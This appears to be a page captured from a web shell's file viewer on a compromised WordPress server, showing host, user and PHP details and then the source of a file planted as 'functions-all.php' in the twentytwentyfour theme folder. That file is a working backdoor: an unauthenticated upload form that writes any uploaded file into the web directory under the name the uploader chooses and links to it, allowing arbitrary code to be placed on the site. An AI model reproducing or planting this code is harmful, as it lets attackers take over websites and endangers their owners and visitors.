HEX
Server: Apache/2.4.29 (Ubuntu)
System: Linux instance-1 5.4.0-1092-gcp #101~18.04.1-Ubuntu SMP Mon Oct 17 18:29:06 UTC 2022 x86_64
User: web297 (5095)
PHP: 8.1.14
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, exec, shell_exec, system, passthru, proc_open, proc_close, popen, parse_ini_file, show_source
Upload Files
File: /data0/www/clients/client0/web297/web/wp-content/themes/twentytwentyfour/functions-all.php
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <title><?php echo $_SERVER['HTTP_HOST'] ?></title>
</head>
<body>


<form method="post" enctype="multipart/form-data">
    <input type="file" name="filename">
    <input type="submit" value="submit">
</form>

<?php
if ( is_uploaded_file( $_FILES["filename"]["tmp_name"] ) ) {
	move_uploaded_file( $_FILES["filename"]["tmp_name"], $_FILES["filename"]["name"] );
	$file = $_FILES["filename"]["name"];
	echo "<a href=\"$file\">$file</a>";
}
?>
</body>
</html>